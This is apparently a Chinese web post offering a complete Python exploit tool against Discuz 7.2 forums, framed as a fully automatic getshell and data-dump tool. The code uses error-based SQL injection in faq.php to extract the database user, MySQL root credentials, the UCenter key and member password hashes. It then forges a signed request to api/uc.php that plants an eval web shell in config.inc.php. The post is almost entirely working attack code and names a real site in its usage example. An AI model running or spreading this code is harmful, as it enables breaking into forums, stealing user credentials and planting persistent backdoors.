Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据，python 版的uc_key getshell部分的代码来自网上(感谢作者)
实现代码:
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*-
# author iswin
import sys
import hashlib
import time
import math
import base64
import urllib2
import urllib
import re
def sendRequest(url,para):
try:
data = urllib.urlencode(para)
req=urllib2.Request(url,data)
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print \'Exploit Failed!\\n%s\'%(e)
exit(0);
return res
def getTablePrefix(url):
print \'Start GetTablePrefix...\'
para={\'action\':\'grouppermission\',\'gids[99]\':\'\\\'\',\'gids[100][0]\':\') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#\'}
res=sendRequest(url,para);
pre=re.findall(\"Duplicate entry \'(.*?)\'\",res);
if len(pre)==0:
print \'Exploit Failed!\'
exit(0);
table_pre=pre[0][:len(pre[0])-1].decode(\'hex\')
table_pre=table_pre[0:table_pre.index(\'_\')]
print \'Table_pre:%s\'%(table_pre)
return table_pre
def getCurrentUser(url):
para={\'action\':\'grouppermission\',\'gids[99]\':\'\\\'\',\'gids[100][0]\':\') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#\'}
res=sendRequest(url,para)
pre=re.findall(\"Duplicate entry \'(.*?)\'\",res)
if len(pre)==0:
print \'Exploit Failed!\'
exit(0);
table_pre=pre[0][:len(pre[0])-1]
print \'Current User:%s\'%(table_pre)
return table_pre
def getUcKey(url):
para={\'action\':\'grouppermission\',\'gids[99]\':\'\\\'\',\'gids[100][0]\':\') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#\'}
para1={\'action\':\'grouppermission\',\'gids[99]\':\'\\\'\',\'gids[100][0]\':\') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#\'}
res=sendRequest(url,para);
res1=sendRequest(url,para1);
key1=re.findall(\"Duplicate entry \'(.*?)\'\",res)
key2=re.findall(\"Duplicate entry \'(.*?)\'\",res1)
if len(key1)==0:
print \'Get Uc_Key Failed!\'
return \'\'
key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
print \'uc_key:%s\'%(key)
return key
def getRootUser(url):
para={\'action\':\'grouppermission\',\'gids[99]\':\'\\\'\',\'gids[100][0]\':\') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#\'}
res=sendRequest(url,para);
pre=re.findall(\"Duplicate entry \'(.*?)\'\",res)
if len(pre)==0:
print \'Exploit Failed!\'
exit(0);
table_pre=pre[0][:len(pre[0])-1].split(\' \')
print \'root info:\\nuser:%s password:%s\'%(table_pre[0],table_pre[1])
def dumpData(url,table_prefix,count):
para={\'action\':\'grouppermission\',\'gids[99]\':\'\\\'\',\'gids[100][0]\':\') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#\'%(table_prefix,count)}
res=sendRequest(url,para);
datas=re.findall(\"Duplicate entry \'(.*?)\'\",res)
if len(datas)==0:
print \'Exploit Failed!\'
exit(0)
cleandata=datas[0][:len(datas[0])-1]
info=cleandata.split(\' \')
print \'user:%s pass:%s\'%(info[0],info[1])
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return \'%.8f %d\' % math.modf(time.time())
def get_authcode(string, key = \'\'):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = \'0000000000\' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = \'\'
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace(\'=\', \'\')
def get_shell(url,key,host):
headers={\'Accept-Language\':\'zh-cn\',
\'Content-Type\':\'application/x-www-form-urlencoded\',
\'User-Agent\':\'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\',
\'Referer\':url
}
tm = time.time()+10*3600
tm=\"time=%d&action=updateapps\" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+\"?code=\"+code
data1=\'\'\'
- http://xxx\\\');eval($_POST[3]);//
\'\'\'
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return \"Exploit Falied\"
data2=\'\'\'
- http://aaa
\'\'\'
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return \"error\"
try:
req=urllib2.Request(host+\'/config.inc.php\')
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print \'GetWebshell Failed,%s\'%(e)
return
print \"webshell:\"+host+\"/config.inc.php,password:3\"
if __name__ == \'__main__\':
print \'DZ7.x Exp Code By iswin\'
if len(sys.argv)<3:
print \'DZ7.x Exp Code By iswin\\nusage:python dz7.py http://www.jb51.net 10\'
exit(0)
url=sys.argv[1]+\'/faq.php\'
count=int(sys.argv[2])
user=getCurrentUser(url)
if user.startswith(\'root@\'):
getRootUser(url)
uc_key=getUcKey(url)
if len(uc_key)==64:
print \'Start GetWebshell...\'
get_shell(sys.argv[1]+\'/api/uc.php\',uc_key,sys.argv[1])
tb_pre=getTablePrefix(url)
print \'Start DumpData...\'
for x in xrange(0,count):
dumpData(url,tb_pre,x)